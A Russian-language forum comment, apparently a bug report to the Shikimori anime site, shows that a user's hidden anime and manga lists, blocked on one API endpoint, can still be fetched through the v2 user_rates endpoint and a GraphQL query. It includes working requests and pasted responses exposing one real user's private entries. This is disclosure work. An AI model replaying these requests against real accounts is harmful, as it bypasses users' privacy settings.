Комментарий #11954176

ShikiAPITestApp
Здравствуйте. Вроде как нашёл один баг в API. В общем, предположим, что есть случайный пользователь c id = 521570. На момент написания комментария у него скрыты списки аниме и манги.

Запросим его список аниме: https://shikimori.one/api/users/521570/anime_rates
В ответе:

{
  "message": "You are not authorized to access this page.",
  "code": 403
}

Через сайт список тоже нельзя посмотреть. Теперь сделаем так: https://shikimori.one/api/v2/user_rates?user_id=521570&target_type=Anime
В ответе:

[
  {
    "id": 116757088,
    "user_id": 521570,
    "target_id": 18,
    "target_type": "Anime",
    "score": 8,
    "status": "completed",
    "rewatches": 0,
    "episodes": 24,
    "volumes": 0,
    "chapters": 0,
    "text": "",
    "text_html": "",
    "created_at": "2022-02-11T22:54:58.796+03:00",
    "updated_at": "2022-02-16T21:18:24.247+03:00"
  },
  {
    "id": 94986341,
    "user_id": 521570,
    "target_id": 20,
    "target_type": "Anime",
    "score": 7,
    "status": "completed",
    "rewatches": 0,
    "episodes": 220,
    "volumes": 0,
    "chapters": 0,
    "text": null,
    "text_html": "",
    "created_at": "2021-01-18T17:15:40.489+03:00",
    "updated_at": "2021-01-18T17:15:42.811+03:00"
  },
...
]

То есть, данные списка можно получить. Аналогично и с запросом через GraphQL.

Запрос:

userRates(userId: "521570") {
    id
    anime {
      id
      name
    }
    manga {
      name
    }
    createdAt
  }

Ответ:

"userRates": [
      {
        "id": "61848703",
        "anime": {
          "id": "564",
          "name": "Puni Puni☆Poemii"
        },
        "manga": {
          "name": "Gantz"
        },
        "createdAt": "2019-04-01T22:00:08+03:00"
      },
      {
        "id": "62208703",
        "anime": null,
        "manga": {
          "name": "Prison School"
        },
        "createdAt": "2019-04-06T10:39:52+03:00"
      }
    ]
Ответы

Нет комментариев

назад
Твой комментарий
Вернуться к редактированию
Предпросмотр
Скрыть